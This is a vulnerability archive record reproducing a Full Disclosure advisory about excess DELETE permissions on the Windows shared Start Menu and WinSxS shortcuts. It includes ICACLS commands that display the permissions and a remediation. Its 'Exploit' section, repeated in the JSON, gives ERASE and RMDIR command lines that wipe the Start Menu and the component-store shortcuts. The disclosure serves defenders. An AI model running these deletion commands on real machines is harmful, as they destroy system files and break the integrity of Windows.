VULNARCHIVE

GCVE-1988-2026-0210

Defense in depth -- the Microsoft way (part 95): the (shared) "Start Menu" is dispensable

Description (en)

Hi @ll,

the following is a condensed form of
<https://skanthak.hier-im-netz.de/whispers.html#whisper3> and
<https://skanthak.hier-im-netz.de/whispers.html#whisper4>.

Windows Vista moved the shared start menu from "%ALLUSERSPROFILE%\Start Menu\"
to "%ProgramData%\Microsoft\Windows\Start Menu\", with some shortcuts (*.lnk)
"reflected" from the (immutable) component store below %SystemRoot%\WinSxS\

JFTR: "reflection" is M$FT lingo for hardlink into the component store.

Before this move only Administrators had write access to the shared start menu;
afterwards at least the user account(s) created during Windows setup (OOBE,
out of box experience) are granted DELETE and DELETE_CHILD access permission.

Demonstration
~~~~~~~~~~~~~

Log on to an arbitrary (unprivileged) user account, start the command processor
and run the following command line to display the access permissions of the
shared start menu:

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu"

| C:\ProgramData\Microsoft\Windows\Start Menu COMPUTER\User:(OI)(CI)(IO)(DE,DC)
|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)
|                                             COMPUTER\Administrator:(OI)(CI)(IO)(DE,DC)
|                                             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
|                                             BUILTIN\Administrators:(I)(OI)(CI)(F)
|                                             BUILTIN\Users:(I)(OI)(CI)(RX)
|                                             Everyone:(I)(OI)(CI)(RX)

Instead of "COMPUTER" you get your computer name (see the environment variables
%COMPUTERNAME% and %USERDOMAIN%); instead of "User" and "Administrator" you get
the first/primary and the localized administrator account name.

"(OI)(CI)(IO)(DE,DC)" means "inherit DELETE and DELETE CHILD access permission
to all objects/files and containers/directories below this directory".

Run the following command line to confirm the latter:

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)"

"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store their access permissions are changed too:

ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)"

Exploit
~~~~~~~

"Thanks" to the DELETE_CHILD access permission some unprivileged users can
since NINETEEN years remove the shared start menu COMPLETELY!

ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini"
ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk"
RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu"

"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store the same unprivileged users can also erase them there
and destroy the integrity of the component store:

ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk"

Fix
~~~

Remove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\Administrator" 
"%USERDOMAIN%\%USERNAME%"
"%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T
ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%" 
"%USERDOMAIN%\User"
*S-1-5-21-xxx-yyy-zzz-RID ... /T

stay tuned, and far away from unprotected system( file)s
Stefan Kanthak

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Defense in depth",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Stefan Kanthak via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi @ll,\n\nthe following is a condensed form of\n<https://skanthak.hier-im-netz.de/whispers.html#whisper3> and\n<https://skanthak.hier-im-netz.de/whispers.html#whisper4>.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n|                                             COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n|                                             NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Administrators:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Users:(I)(OI)(CI)(RX)\n|                                             Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/18"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper3"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper4"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Defense in depth -- the Microsoft way (part 95): the (shared) \"Start Menu\" is dispensable",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0210",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18",
            "automated": true,
            "contentSha256": "90808ff96b90d2d6ba702873cd50ec365f9d1d6578264c614a3f016730149ca0",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T11:40:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0210"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}